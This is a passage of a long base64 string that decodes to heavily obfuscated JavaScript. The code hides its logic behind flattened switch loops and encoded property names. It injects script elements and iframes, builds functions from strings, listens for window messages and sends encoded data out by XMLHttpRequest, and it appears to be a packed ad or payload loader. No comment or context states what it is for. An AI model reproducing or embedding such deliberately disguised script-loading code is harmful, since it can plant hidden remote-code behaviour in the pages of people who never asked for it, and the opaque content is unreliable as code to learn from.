kJELCQuQkQsbFskLnNdLGxbJC50XSksZT1yWyQuYW1dLHU9ZVskLkNBXSgkLkJELCQuRnUpWyQuYWZdKGZ1bmN0aW9uKG4sdCl7cmV0dXJuKHQrJC55KSUkLkRDO30pWyQuSnldKClbJC5ial0oZnVuY3Rpb24obix0LHIpe3JldHVybiBuK3QqZlskLmVJXSgkLmZBLHIpO30sJC5CRCksaT1bXSxvPSQuRnU7bzxlWyQuR3BdO28rKylpZigobyskLnkpJSQuREMpe2ZvcigkLl9FRz0kLkJEOyQuX0VHPCQuQ0I7JC5fRUcrPSQueSl7c3dpdGNoKCQuX0VHKXtjYXNlICQueToodz09PUEuWm58fCQuR0k8PWEpJiZpWyQuYWhdKGtbJC5vXShhKSk7YnJlYWs7Y2FzZSAkLkJEOnZhciBhPWVbb107YnJlYWs7fX19YnJlYWs7Y2FzZSAkLkJEOnZhciBuPWRvY3VtZW50WyQuQV0oJC5kdSk7YnJlYWs7fX19LGxbJC5Hbl09ZnVuY3Rpb24oKXtyZXR1cm4gbigpO307YnJlYWs7Y2FzZSAkLkJEOnZhciBsPW5ldyBJbWFnZSgpO2JyZWFrO319fSk7fSx0LmJ0PWZ1bmN0aW9uKHUsaSl7Zm9yKCQuX0R6PSQuQkQ7JC5fRHo8JC5DQjskLl9Eeis9JC55KXtzd2l0Y2goJC5fRHope2Nhc2UgJC55OnJldHVybiBuZXcgdlskLkNpXShmdW5jdGlvbih0LHIpe2ZvcigkLl9EdD0kLkJEOyQuX0R0PCQuQ0I7JC5fRHQrPSQueSl7c3dpdGNoKCQuX0R0KXtjYXNlICQueTppZihlWyQuSWhdKGEsdSksZVskLmNEXT1mLGVbJC5jY109ISQuQkQsZVskLklpXShBLlVuLGMobyhpKSkpLGVbJC5JbF09ZnVuY3Rpb24oKXtmb3IoJC5fQ3U9JC5CRDskLl9DdTwkLkNCOyQuX0N1Kz0kLnkpe3N3aXRjaCgkLl9DdSl7Y2FzZSAkLnk6blskLmJKXT1lWyQuYkpdLG5bJC5EYV09Zj09PUEuSm4/Z1skLmVjXShlWyQuRGFdKTplWyQuRGFdLCQuQkQ8PVskLmFkLCQuZGtdWyQuSnVdKGVbJC5iSl0pP3Qobik6cihuZXcgRXJyb3IoJC5lQStlWyQuYkpdKyQuY3ArZVskLmVkXSskLmVoK2kpKTticmVhaztjYXNlICQuQkQ6dmFyIG49JC4kKCk7YnJlYWs7fX19LGVbJC5Hbl09ZnVuY3Rpb24oKXtyKG5ldyBFcnJvcigkLmVBK2VbJC5iSl0rJC5jcCtlWyQuZWRdKyQuZWgraSkpO30sYT09PUEuUW4pe2ZvcigkLl9EcT0kLkJEOyQuX0RxPCQuQ0I7JC5fRHErPSQueSl7c3dpdGNoKCQuX0RxKXtjYXNlICQueTplWyQuSWldKEEuWW4sQS5LbiksZVskLklqXShuKTticmVhaztjYXNlICQuQkQ6dmFyIG49JC5kSj09PSh2b2lkICQuQkQ9PT1kPyQuQ3M6aihkKSk/Z1skLmVjXShkKTpkO2JyZWFrO319fWVsc2UgZVskLklqXSgpO2JyZWFrO2Nhc2UgJC5CRDp2YXIgZT1uZXcgd2luZG93WyQuSmpdKCk7YnJlYWs7fX19KTticmVhaztjYXNlICQuQkQ6dmFyIGY9JC5DQjxhcmd1bWVudHNbJC5HcF0mJnZvaWQgJC5CRCE9PWFyZ3VtZW50c1skLkNCXT9hcmd1bWVudHNbJC5DQl06QS5KbixhPSQuQ2Y8YXJndW1lbnRzWyQuR3BdJiZ2b2lkICQuQkQhPT1hcmd1bWVudHNbJC5DZl0/YXJndW1lbnRzWyQuQ2ZdOkEuJG4sZD0kLkRDPGFyZ3VtZW50c1skLkdwXSYmdm9pZCAkLkJEIT09YXJndW1lbnRzWyQuRENdP2FyZ3VtZW50c1skLkRDXTokLiQoKTticmVhazt9fX0sdC5wdD1mdW5jdGlvbih0LG0pe2ZvcigkLl9FQj0kLkJEOyQuX0VCPCQuQ0I7JC5fRUIrPSQueSl7c3dpdGNoKCQuX0VCKXtjYXNlICQueTpyZXR1cm4gbmV3IHZbJC5DaV0oZnVuY3Rpb24oZixhKXtmb3IoJC5fRHk9JC5CRDskLl9EeTwkLkNmOyQuX0R5Kz0kLnkpe3N3aXRjaCgkLl9EeSl7Y2FzZSAkLkNCOndpbmRvd1skLkJdKCQuR20sbiksc1skLmldPXQsKGRvY3VtZW50WyQuY118fGRvY3VtZW50WyQua10pWyQucV0ocyksdz1xKGgsTy5BdCksbD1xKGgsTy5TdCk7YnJlYWs7Y2FzZSAkLnk6ZnVuY3Rpb24gbihuKXtmb3IoJC5fRHY9JC5CRDskLl9EdjwkLkNCOyQuX0R2Kz0kLnkpe3N3aXRjaCgkLl9Edil7Y2FzZSAkLnk6aWYodD09PWQpaWYodSh3KSxudWxsPT09blskLmFtXVt0XSl7Zm9yKCQuX0N3PSQuQkQ7JC5fQ3c8JC5DQjskLl9Ddys9JC55KXtzd2l0Y2goJC5fQ3cpe2Nhc2UgJC55OnJbdF09JC4kKCQuZWYsJC5laSwkLmJ6LGMobyhtKSksJC5jQixfLCQuYywkLmRKPT09KHZvaWQgJC5CRD09PXA/JC5DczpqKHApKT9nWyQuZWNdKHApOnApLF89PT1BLlFuJiYoclt0XVskLmV0XT1nWyQuZWNdKCQuJCgkLkhzLEEuS24pKSksc1skLnhdWyQuSkldKHIsJC5Kdik7YnJlYWs7Y2FzZSAkLkJEOnZhciByPSQuJCgpO2JyZWFrO319fWVsc2V7Zm9yKCQuX0RzPSQuQkQ7JC5fRHM8JC5DZjskLl9Ecys9JC55KXtzd2l0Y2goJC5fRHMpe2Nhc2UgJC5DQjplWyQuYkpdPWlbJC5mRl0sZVskLkRhXT15PT09QS5abj94KGlbJC5jXSk6UyhpWyQuY10pLCQuQkQ8PVskLmFkLCQuZGtdWyQuSnVdKGVbJC5iSl0pP2YoZSk6YShuZXcgRXJyb3IoJC5lQStlWyQuYkpdKyQuZWgrbSkpO2JyZWFrO2Nhc2UgJC55OnZhciBlPSQuJCgpLGk9Z1skLkp3XShiKG5bJC5hbV1bdF0pKTticmVhaztjYXNlICQuQkQ6dj0hJC5CRCxoKCksdShsKTticmVhazt9fX1icmVhaztjYXNlICQuQkQ6dmFyIHQ9T2JqZWN0WyQuZEddKG5bJC5hbV0pWyQuYXJdKCk7YnJlYWs7fX19YnJlYWs7Y2FzZSAkLkJEOnZhciBkPSgkLkJELGkuZXQpKHQpLHM9KCQuQkQsaS51dCkoKSx2PSEkLnksbD12b2lkICQuQkQsdz12b2lkICQuQkQsaD1mdW5jdGlvbigpe3RyeXtzWyQuQ2pdWyQuYkldKHMpLHdpbmRvd1skLkNdKCQuR20sbiksdnx8YShuZXcgRXJyb3IoJC5kdCkpO31jYXRjaChuKXt9fTticmVhazt9fX0pO2JyZWFrO2Nhc2UgJC5CRDp2YXIgeT0kLkNCPGFyZ3VtZW50c1skLkdwXSYmdm9pZCAkLkJEIT09YXJndW1lbnRzWyQuQ0JdP2FyZ3VtZW50c1skLkNCXTpBLkpuLF89JC5DZjxhcmd1bWVudHNbJC5HcF0mJnZvaWQgJC5CRCE9PWFyZ3VtZW50c1skLkNmXT9hcmd1bWVudHNbJC5DZl06QS4kbixwPSQuREM8YXJndW1lbnRzWyQuR3BdJiZ2b2lkICQuQkQhPT1hcmd1bWVudHNbJC5EQ10/YXJndW1lbnRzWyQuRENdOiQuJCgpO2JyZWFrO319fTticmVhaztjYXNlICQueTpPYmplY3RbJC5lXSh0LCQuQ2MsJC4kKCQuSWssISQuQkQpKTticmVhaztjYXNlICQuRnE6ZnVuY3Rpb24geChuKXtmb3IoJC5fdD0kLkJEOyQuX3Q8JC5DQjskLl90Kz0kLnkpe3N3aXRjaCgkLl90KXtjYXNlICQueTpyZXR1cm4gbmV3IHAodClbJC5hYV0oZnVuY3Rpb24obix0KXtyZXR1cm4gclskLmJDXSh0KTt9KTticmVhaztjYXNlICQuQkQ6dmFyIHI9YihuKSx0PW5ldyBzKHJbJC5HcF0pO2JyZWFrO319fWJyZWFrO2Nhc2UgJC5EQzp2YXIgZSxPPXIoJC5HRyksQT1yKCQuRm8pLGk9cigkLkZ1KSxhPXIoJC5GeCksdj0oZT1hKSYmZVskLkNjXT9lOiQuJCgkLkNpLGUpO2JyZWFrO2Nhc2UgJC5CRDokLkNyO2JyZWFrO319fSxmdW5jdGlvbihuLHQscil7Zm9yKCQuX2E9JC5CRDskLl9hPCQuRnE7JC5fYSs9JC55KXtzd2l0Y2goJC5fYSl7Y2FzZSAkLkZ0OnVbJC5tXVskLkdzXT1pLHVbJC5tXVskLkd0XT1vO2JyZWFrO2Nhc2UgJC5DQjp0LnF0PSQuSUQsdC5TdD0kLkhuLHQuQXQ9JC5JRSx0Lnh0PSQuSUYsdC5QdD1bJC5JdSwkLkl2LCQuSXcsJC5JeCwkLkl5LCQuSXpdLHQuTXQ9JC5JRyx0LkV0PSQuQkE7YnJlYWs7Y2FzZSAkLkNmOnZhciBlPXQuVHQ9JC5KQSx1PXQuQnQ9ZG9jdW1lbnRbJC5BXShlKSxpPXQuTnQ9JC5KaCxvPXQuSXQ9JC5KaTticmVhaztjYXNlICQueTpPYmplY3RbJC5lXSh0LCQuQ2MsJC4kKCQuSWssISQuQkQpKTticmVhaztjYXNlICQuREM6dC5DdD0kLklILHQuUnQ9WyQuSkEsJC5KQiwkLkhnLCQuSkMsJC5JZ10sdC56dD1bJC5KRCwkLkpFLCQuSkZdLHQuRHQ9JC5JSSx0Lkh0PSQuSUosdC5GdD0hJC5CRCx0Lkx0PSEkLnksdC5ndD0kLklhLHQuanQ9JC5JYix0Lmt0PSQuSWMsdC5PdD0kLklkO2JyZWFrO2Nhc2UgJC5CRDokLkNyO2JyZWFrO319fSxmdW5jdGlvbihuLHQscil7KGZ1bmN0aW9uKGkpeyFmdW5jdGlvbihkLHMpe2ZvcigkLl9Faz0kLkJEOyQuX0VrPCQuRnQ7JC5fRWsrPSQueSl7c3dpdGNoKCQuX0VrKXtjYXNlICQuQ2Y6ZnVuY3Rpb24gbyh0KXtyZXR1cm4gbChmdW5jdGlvbihuKXtuKHQpO30pO31icmVhaztjYXNlICQueTpmdW5jdGlvbiBsKGYsYSl7cmV0dXJuKGE9ZnVuY3Rpb24gcihlLHUsaSxvLGMsbil7Zm9yKCQuX0VpPSQuQkQ7JC5fRWk8JC5EQzskLl9FaSs9JC55KXtzd2l0Y2goJC5fRWkpe2Nhc2UgJC5DZjpmdW5jdGlvbiB0KHQpe3JldHVybiBmdW5jdGlvbihuKXtjJiYoYz0kLkJELHIodix0LG4pKTt9O31icmVhaztjYXNlICQueTppZihpJiZ2KGQsaSl8dihzLGkpKXRyeXtjPWlbJC5ibl07fWNhdGNoKG4pe3U9JC5CRCxpPW47fWJyZWFrO2Nhc2UgJC5DQjppZih2KGQsYykpdHJ5e2NbJC5Cel0oaSx0KCQueSksdT10KCQuQkQpKTt9Y2F0Y2gobil7dShuKTt9ZWxzZSBmb3IoYT1mdW5jdGlvbihyLG4pe3JldHVybiB2KGQscj11P3I6bik/bChmdW5jdGlvbihuLHQpe3codGhpcyxuLHQsaSxyKTt9KTpmO30sbj0kLkJEO248b1skLkdwXTspYz1vW24rK10sdihkLGU9Y1t1XSk/dyhjLnAsYy5yLGMuaixpLGUpOih1P2MucjpjLmopKGkpO2JyZWFrO2Nhc2UgJC5CRDppZihvPXIucSxlIT12KXJldHVybiBsKGZ1bmN0aW9uKG4sdCl7b1skLmFoXSgkLiQoJC5JZyx0aGlzLCQuZWwsbiwkLkllLHQsJC55LGUsJC5CRCx1KSk7fSk7YnJlYWs7fX19KS5xPVtdLGZbJC5Cel0oZj0kLiQoJC5ibixmdW5jdGlvbihuLHQpe3JldHVybiBhKG4sdCk7fSwkLmVILGZ1bmN0aW9uKG4pe3JldHVybiBhKCQuQkQsbik7fSksZnVuY3Rpb24obil7YSh2LCQueSxuKTt9LGZ1bmN0aW9uKG4pe2EodiwkLkJELG4pO30pLGY7fWJyZWFrO2Nhc2UgJC5EQzooblskLkJ3XT1sKVskLmJ3XT1vLGxbJC5hd109ZnVuY3Rpb24ocil7cmV0dXJuIGwoZnVuY3Rpb24obix0KXt0KHIpO30pO30sbFskLmF4XT1mdW5jdGlvbihuKXtyZXR1cm4gbChmdW5jdGlvbihyLGUsdSxpKXtpPVtdLHU9blskLkdwXXx8cihpKSxuWyQuYWFdKGZ1bmN0aW9uKG4sdCl7byhuKVskLmJuXShmdW5jdGlvbihuKXtpW3RdPW4sLS11fHxyKGkpO30sZSk7fSk7fSk7fSxsWyQuYXldPWZ1bmN0aW9uKG4pe3JldHVybiBsKGZ1bmN0aW9uKHQscil7blskLmFhXShmdW5jdGlvbihuKXtvKG4pWyQuYm5dKHQscik7fSk7fSk7fTticmVhaztjYXNlICQuQ0I6ZnVuY3Rpb24gdyhuLHQscixlLHUpe2koZnVuY3Rpb24oKXt0cnl7dT0oZT11KGUpKSYmdihzLGUpfHYoZCxlKSYmZVskLmJuXSx2KGQsdSk/ZT09bj9yKFR5cGVFcnJvcigpKTp1WyQuQnpdKGUsdCxyKTp0KGUpO31jYXRjaChuKXtyKG4pO319KTt9YnJlYWs7Y2FzZSAkLkJEOmZ1bmN0aW9uIHYobix0KXtyZXR1cm4odHlwZW9mIHQpWyQuQkRdPT1uO31icmVhazt9fX0oJC5EYywkLmZoKTt9WyQuQnpdKHQscigkLmFnKVskLkpxXSkpO30sZnVuY3Rpb24obixvLGMpeyhmdW5jdGlvbihuKXtmb3IoJC5fQ2E9JC5CRDskLl9DYTwkLkNmOyQuX0NhKz0kLnkpe3N3aXRjaCgkLl9DYSl7Y2FzZSAkLkNCOm9bJC5CZl09ZnVuY3Rpb24oKXtyZXR1cm4gbmV3IGkoZVskLkJ6XShxLHQsYXJndW1lbnRzKSx1KTt9LG9bJC5CZ109ZnVuY3Rpb24oKXtyZXR1cm4gbmV3IGkoZVskLkJ6XShyLHQsYXJndW1lbnRzKSx2KTt9LG9bJC5CaV09b1skLkJqXT1mdW5jdGlvbihuKXtuJiZuWyQuYUddKCk7fSxpWyQuQ0ZdWyQuYUZdPWlbJC5DRl1bJC5ib109ZnVuY3Rpb24oKXt9LGlbJC5DRl1bJC5hR109ZnVuY3Rpb24oKXt0aGlzWyQuYXVdWyQuQnpdKHQsdGhpc1skLmF0XSk7fSxvWyQuSm5dPWZ1bmN0aW9uKG4sdCl7dShuWyQuY0ZdKSxuWyQuYnFdPXQ7fSxvWyQuSm9dPWZ1bmN0aW9uKG4pe3UoblskLmNGXSksblskLmJxXT0tJC55O30sb1skLkpwXT1vWyQuYXNdPWZ1bmN0aW9uKG4pe2ZvcigkLl9DQj0kLkJEOyQuX0NCPCQuQ2Y7JC5fQ0IrPSQueSl7c3dpdGNoKCQuX0NCKXtjYXNlICQuQ0I6JC5CRDw9dCYmKG5bJC5jRl09cShmdW5jdGlvbigpe25bJC5lR10mJm5bJC5lR10oKTt9LHQpKTticmVhaztjYXNlICQueTp2YXIgdD1uWyQuYnFdO2JyZWFrO2Nhc2UgJC5CRDp1KG5bJC5jRl0pO2JyZWFrO319fSxjKCQuSmMpLG9bJC5KcV09JC5DcyE9dHlwZW9mIHNlbGYmJnNlbGZbJC5KcV18fHZvaWQgJC5CRCE9PW4mJm5bJC5KcV18fHRoaXMmJnRoaXNbJC5KcV0sb1skLkpyXT0kLkNzIT10eXBlb2Ygc2VsZiYmc2VsZlskLkpyXXx8dm9pZCAkLkJEIT09biYmblskLkpyXXx8dGhpcyYmdGhpc1skLkpyXTticmVhaztjYXNlICQueTpmdW5jdGlvbiBpKG4sdCl7dGhpc1skLmF0XT1uLHRoaXNbJC5hdV09dDt9YnJlYWs7Y2FzZSAkLkJEOnZhciB0PXZvaWQgJC5CRCE9PW4mJm58fCQuQ3MhPXR5cGVvZiBzZWxmJiZzZWxmfHx3aW5kb3csZT1GdW5jdGlvblskLkNGXVskLkNnXTticmVhazt9fX1bJC5Cel0obyxjKCQuZXkpKSk7fSxmdW5jdGlvbihuLHQscil7KGZ1bmN0aW9uKG4seSl7IWZ1bmN0aW9uKHIsZSl7Zm9yKCQuX0V0PSQuQkQ7JC5fRXQ8JC5EQzskLl9FdCs9JC55KXtzd2l0Y2goJC5fRXQpe2Nhc2UgJC5DZjpmdW5jdGlvbiBtKG4pe2lmKGQpcShtLCQuQkQsbik7ZWxzZXtmb3IoJC5fQ3A9JC5CRDskLl9DcDwkLkNCOyQuX0NwKz0kLnkpe3N3aXRjaCgkLl9DcCl7Y2FzZSAkLnk6aWYodCl7Zm9yKCQuX0NuPSQuQkQ7JC5fQ248JC5DQjskLl9Dbis9JC55KXtzd2l0Y2goJC5fQ24pe2Nhc2UgJC55OnRyeXshZnVuY3Rpb24obil7Zm9yKCQuX0JzPSQuQkQ7JC5fQnM8JC5DQjskLl9Ccys9JC55KXtzd2l0Y2goJC5fQnMpe2Nhc2UgJC55OnN3aXRjaChyWyQuR3BdKXtjYXNlICQuQkQ6dCgpO2JyZWFrO2Nhc2UgJC55OnQoclskLkJEXSk7YnJlYWs7Y2FzZSAkLkNCOnQoclskLkJEXSxyWyQueV0pO2JyZWFrO2Nhc2UgJC5DZjp0KHJbJC5CRF0sclskLnldLHJbJC5DQl0pO2JyZWFrO2RlZmF1bHQ6dFskLkNnXShlLHIpO31icmVhaztjYXNlICQuQkQ6dmFyIHQ9blskLmRsXSxyPW5bJC5kbV07YnJlYWs7fX19KHQpO31maW5hbGx5e2wobiksZD0hJC55O31icmVhaztjYXNlICQuQkQ6ZD0hJC5CRDticmVhazt9fX1icmVhaztjYXNlICQuQkQ6dmFyIHQ9YVtuXTticmVhazt9fX19YnJlYWs7Y2FzZSAkLnk6aWYoIXJbJC5KcV0pe2ZvcigkLl9Fcz0kLkJEOyQuX0VzPCQuQ0I7JC5fRXMrPSQueSl7c3dpdGNoKCQuX0VzKXtjYXNlICQueTp2PXYmJnZbJC5CZl0/djpyLCQuYnM9PT0kLiQoKVskLkJ2XVskLkJ6XShyWyQuZEldKT91PWZ1bmN0aW9uKG4pe3lbJC5FdF0oZnVuY3Rpb24oKXttKG4pO30pO306IWZ1bmN0aW9uKCl7aWYoclskLkpJXSYmIXJbJC5lel0pe2ZvcigkLl9EZz0kLkJEOyQuX0RnPCQuQ0I7JC5fRGcrPSQueSl7c3dpdGNoKCQuX0RnKXtjYXNlICQueTpyZXR1cm4gclskLmZEXT1mdW5jdGlvbigpe249ISQueTt9LHJbJC5KSV0oJC5CdSwkLkp2KSxyWyQuZkRdPXQsbjticmVhaztjYXNlICQuQkQ6dmFyIG49ISQuQkQsdD1yWyQuZkRdO2JyZWFrO319fX0oKT9yWyQuQmtdPygodD1uZXcgdygpKVskLmZhXVskLmZEXT1mdW5jdGlvbihuKXttKG5bJC5hbV0pO30sdT1mdW5jdGlvbihuKXt0WyQuZmJdWyQuSkldKG4pO30pOnMmJiQuZmcgaW4gc1skLkFdKCQuYmUpPyhpPXNbJC5rXSx1PWZ1bmN0aW9uKG4pe2ZvcigkLl9FcD0kLkJEOyQuX0VwPCQuQ0I7JC5fRXArPSQueSl7c3dpdGNoKCQuX0VwKXtjYXNlICQueTp0WyQuZmddPWZ1bmN0aW9uKCl7bShuKSx0WyQuZmddPW51bGwsaVskLmJJXSh0KSx0PW51bGw7fSxpWyQucV0odCk7YnJlYWs7Y2FzZSAkLkJEOnZhciB0PXNbJC5BXSgkLmJlKTticmVhazt9fX0pOnU9ZnVuY3Rpb24obil7cShtLCQuQkQsbik7fToobz0kLmZpK2ZbJC5Cbl0oKSskLmZrLG49ZnVuY3Rpb24obil7blskLmZqXT09PXImJiQuZm09PXR5cGVvZiBuWyQuYW1dJiYkLkJEPT09blskLmFtXVskLkp1XShvKSYmbSgrblskLmFtXVskLkNBXShvWyQuR3BdKSk7fSxyWyQuQl0/clskLkJdKCQuR20sbiwhJC55KTpyWyQuZmxdKCQuZkQsbiksdT1mdW5jdGlvbihuKXtyWyQuSkldKG8rbiwkLkp2KTt9KSx2WyQuSnFdPWZ1bmN0aW9uKG4pe2ZvcigkLl9Daj0kLkJEOyQuX0NqPCQuREM7JC5fQ2orPSQueSl7c3dpdGNoKCQuX0NqKXtjYXNlICQuQ2Y6cmV0dXJuIGFbY109ZSx1KGMpLGMrKzticmVhaztjYXNlICQueTpmb3IodmFyIHQ9bmV3IGgoYXJndW1lbnRzWyQuR3BdLSQueSkscj0kLkJEO3I8dFskLkdwXTtyKyspdFtyXT1hcmd1bWVudHNbciskLnldO2JyZWFrO2Nhc2UgJC5DQjp2YXIgZT0kLiQoJC5kbCxuLCQuZG0sdCk7YnJlYWs7Y2FzZSAkLkJEOiQuRmUhPXR5cGVvZiBuJiYobj1uZXcgRnVuY3Rpb24oJC5CdStuKSk7YnJlYWs7fX19LHZbJC5Kcl09bDticmVhaztjYXNlICQuQkQ6dmFyIHUsaSx0LG8sbixjPSQueSxhPSQuJCgpLGQ9ISQueSxzPXJbJC56XSx2PU9iamVjdFskLmNmXSYmT2JqZWN0WyQuY2ZdKHIpO2JyZWFrO319fWJyZWFrO2Nhc2UgJC5DQjpmdW5jdGlvbiBsKG4pe2RlbGV0ZSBhW25dO31icmVhaztjYXNlICQuQkQ6JC5DcjticmVhazt9fX0oJC5Dcz09dHlwZW9mIHNlbGY/dm9pZCAkLkJEPT09bj90aGlzOm46c2VsZik7fVskLkJ6XSh0LHIoJC5leSkscigkLmZuKSkpO30sZnVuY3Rpb24obix0KXtmb3IoJC5fQ2w9JC5CRDskLl9DbDwkLkZzOyQuX0NsKz0kLnkpe3N3aXRjaCgkLl9DbCl7Y2FzZSAkLkZsOmZ1bmN0aW9uIHkoKXt9YnJlYWs7Y2FzZSAkLkRDOiFmdW5jdGlvbigpe2ZvcigkLl93PSQuQkQ7JC5fdzwkLkNCOyQuX3crPSQueSl7c3dpdGNoKCQuX3cpe2Nhc2UgJC55OnRyeXtlPSQuRmU9PXR5cGVvZiB1P3U6Yzt9Y2F0Y2gobil7ZT1jO31icmVhaztjYXNlICQuQkQ6dHJ5e3I9JC5GZT09dHlwZW9mIHE/cTpvO31jYXRjaChuKXtyPW87fWJyZWFrO319fSgpO2JyZWFrO2Nhc2UgJC5GbTpmdW5jdGlvbiB3KCl7aWYoIXMpe2ZvcigkLl9DZT0kLkJEOyQuX0NlPCQuREM7JC5fQ2UrPSQueSl7c3dpdGNoKCQuX0NlKXtjYXNlICQuQ2Y6YT1udWxsLHM9ISQueSxmdW5jdGlvbih0KXtmb3IoJC5fQ0M9JC5CRDskLl9DQzwkLkNmOyQuX0NDKz0kLnkpe3N3aXRjaCgkLl9DQyl7Y2FzZSAkLkNCOnRyeXtlKHQpO31jYXRjaChuKXt0cnl7cmV0dXJuIGVbJC5Cel0obnVsbCx0KTt9Y2F0Y2gobil7cmV0dXJuIGVbJC5Cel0odGhpcyx0KTt9fWJyZWFrO2Nhc2UgJC55OmlmKChlPT09Y3x8IWUpJiZ1KXJldHVybihlPXUpKHQpO2JyZWFrO2Nhc2UgJC5CRDppZihlPT09dSlyZXR1cm4gdSh0KTticmVhazt9fX0obik7YnJlYWs7Y2FzZSAkLnk6cz0hJC5CRDticmVhaztjYXNlICQuQ0I6Zm9yKHZhciB0PWRbJC5HcF07dDspe2ZvcigkLl9Cdj0kLkJEOyQuX0J2PCQuQ0I7JC5fQnYrPSQueSl7c3dpdGNoKCQuX0J2KXtjYXNlICQueTp2PS0kLnksdD1kWyQuR3BdO2JyZWFrO2Nhc2UgJC5CRDpmb3IoYT1kLGQ9W107Kyt2PHQ7KWEmJmFbdl1bJC5HdV0oKTticmVhazt9fX1icmVhaztjYXNlICQuQkQ6dmFyIG49ZihsKTticmVhazt9fX19YnJlYWs7Y2FzZSAkLkNmOmZ1bmN0aW9uIGYodCl7Zm9yKCQuX0JsPSQuQkQ7JC5fQmw8JC5DZjskLl9CbCs9JC55KXtzd2l0Y2goJC5fQmwpe2Nhc2UgJC5DQjp0cnl7cmV0dXJuIHIodCwkLkJEKTt9Y2F0Y2gobil7dHJ5e3JldHVybiByWyQuQnpdKG51bGwsdCwkLkJEKTt9Y2F0Y2gobil7cmV0dXJuIHJbJC5Cel0odGhpcyx0LCQuQkQpO319YnJlYWs7Y2FzZSAkLnk6aWYoKHI9PT1vfHwhcikmJnEpcmV0dXJuKHI9cSkodCwkLkJEKTticmVhaztjYXNlICQuQkQ6aWYocj09PXEpcmV0dXJuIHEodCwkLkJEKTticmVhazt9fX1icmVhaztjYXNlICQuRnI6ZnVuY3Rpb24gbShuLHQpe3RoaXNbJC5KbF09bix0aGlzWyQuSm1dPXQ7fWJyZWFrO2Nhc2UgJC5GdDp2YXIgYSxkPVtdLHM9ISQueSx2PS0kLnk7YnJlYWs7Y2FzZSAkLkNCOmZ1bmN0aW9uIGMoKXt0aHJvdyBuZXcgRXJyb3IoJC5HeCk7fWJyZWFrO2Nhc2UgJC55OmZ1bmN0aW9uIG8oKXt0aHJvdyBuZXcgRXJyb3IoJC5Hdyk7fWJyZWFrO2Nhc2UgJC5GbzppWyQuRXRdPWZ1bmN0aW9uKG4pe2ZvcigkLl9CcT0kLkJEOyQuX0JxPCQuQ2Y7JC5fQnErPSQueSl7c3dpdGNoKCQuX0JxKXtjYXNlICQuQ0I6ZFskLmFoXShuZXcgbShuLHQpKSwkLnkhPT1kWyQuR3BdfHxzfHxmKHcpO2JyZWFrO2Nhc2UgJC55OmlmKCQueTxhcmd1bWVudHNbJC5HcF0pZm9yKHZhciByPSQueTtyPGFyZ3VtZW50c1skLkdwXTtyKyspdFtyLSQueV09YXJndW1lbnRzW3JdO2JyZWFrO2Nhc2UgJC5CRDp2YXIgdD1uZXcgaChhcmd1bWVudHNbJC5HcF0tJC55KTticmVhazt9fX0sbVskLkNGXVskLkd1XT1mdW5jdGlvbigpe3RoaXNbJC5KbF1bJC5DZ10obnVsbCx0aGlzWyQuSm1dKTt9LGlbJC5FdV09JC5FdixpWyQuRXZdPSEkLkJELGlbJC5Fd109JC4kKCksaVskLkV4XT1bXSxpWyQuRXldPSQuQnUsaVskLkV6XT0kLiQoKSxpLm9uPXksaVskLkZBXT15LGlbJC5GQl09eSxpWyQuRkNdPXksaVskLkZEXT15LGlbJC5GRV09eSxpWyQuRkZdPXksaVskLkZHXT15LGlbJC5GSF09eSxpWyQuRkldPWZ1bmN0aW9uKG4pe3JldHVybltdO30saVskLkZKXT1mdW5jdGlvbihuKXt0aHJvdyBuZXcgRXJyb3IoJC5hYik7fSxpWyQuRmFdPWZ1bmN0aW9uKCl7cmV0dXJuICQuSmE7fSxpWyQuRmJdPWZ1bmN0aW9uKG4pe3Rocm93IG5ldyBFcnJvcigkLmFjKTt9LGlbJC5GY109ZnVuY3Rpb24oKXtyZXR1cm4gJC5CRDt9O2JyZWFrO2Nhc2UgJC5GcTpmdW5jdGlvbiBsKCl7cyYmYSYmKHM9ISQueSxhWyQuR3BdP2Q9YVskLmFuXShkKTp2PS0kLnksZFskLkdwXSYmdygpKTt9YnJlYWs7Y2FzZSAkLkJEOnZhciByLGUsaT1uWyQuQnddPSQuJCgpO2JyZWFrO319fSxmdW5jdGlvbihyLHUsaSl7Zm9yKCQuX0VkPSQuQkQ7JC5fRWQ8JC5GcjskLl9FZCs9JC55KXtzd2l0Y2goJC5fRWQpe2Nhc2UgJC5GbTp2Lkt0PSQuRGQsdi5KdD0kLkRoLHYuWnQ9JC5JZSx2LiR0PSQuSWYsdi5RdD0kLklnLHYuV3Q9JC5JRzticmVhaztjYXNlICQuQ2Y6dS5tdD1mdW5jdGlvbihuLHIpe2ZvcigkLl9xPSQuQkQ7JC5fcTwkLkNCOyQuX3ErPSQueSl7c3dpdGNoKCQuX3Epe2Nhc2UgJC55OnRbZl09YSskLnksdFtvXT1uZXcgZSgpWyQuY0ldKCksdFtjXT0kLkJ1O2JyZWFrO2Nhc2UgJC5CRDp2YXIgdT1FKG4sciksaT1BKHUsJC5DZiksbz1pWyQuQkRdLGM9aVskLnldLGY9aVskLkNCXSxhPW0odFtmXSwkLkZvKXx8JC5CRDticmVhazt9fX0sdS55dD1mdW5jdGlvbihyLHUsaSl7Zm9yKCQuX0NpPSQuQkQ7JC5fQ2k8JC5DZjskLl9DaSs9JC55KXtzd2l0Y2goJC5fQ2kpe2Nhc2UgJC5DQjp2YXIgZyxqLE8sazticmVhaztjYXNlICQueTppZih0W2FdJiYhdFtkXSl7Zm9yKCQuX0NmPSQuQkQ7JC5fQ2Y8JC5EQzskLl9DZis9JC55KXtzd2l0Y2goJC5fQ2Ype2Nhc2UgJC5DZjpnPXAsaj0kLmRIKygkLkJELHguRCkoKSskLmVKLE89T2JqZWN0WyQuZEddKGcpWyQuYWFdKGZ1bmN0aW9uKG4pe2ZvcigkLl9DQT0kLkJEOyQuX0NBPCQuQ0I7JC5fQ0ErPSQueSl7c3dpdGNoKCQuX0NBKXtjYXNlICQueTpyZXR1cm5bbix0XVskLkJ0XSgkLmVqKTticmVhaztjYXNlICQuQkQ6dmFyIHQ9eihnW25dKTticmVhazt9fX0pWyQuQnRdKCQuZXcpLChrPW5ldyB3aW5kb3dbJC5Kal0oKSlbJC5JaF0oJC5IeCxqLCEkLkJEKSxrWyQuSWldKHEuWW4scS5Xbiksa1skLklqXShPKTticmVhaztjYXNlICQueTp0W2RdPXcsdFtzXT0kLkJEO2JyZWFrO2Nhc2UgJC5DQjp2YXIgcD0kLiQoJC5jeSxyLCQuY3osXywkLmRBLGgsJC5kQixpLCQuZEMsdywkLmVvLGZ1bmN0aW9uKCl7Zm9yKCQuX0JuPSQuQkQ7JC5fQm48JC5EQzskLl9Cbis9JC55KXtzd2l0Y2goJC5fQm4pe2Nhc2UgJC5DZjpyZXR1cm4gdFtQXT1yO2JyZWFrO2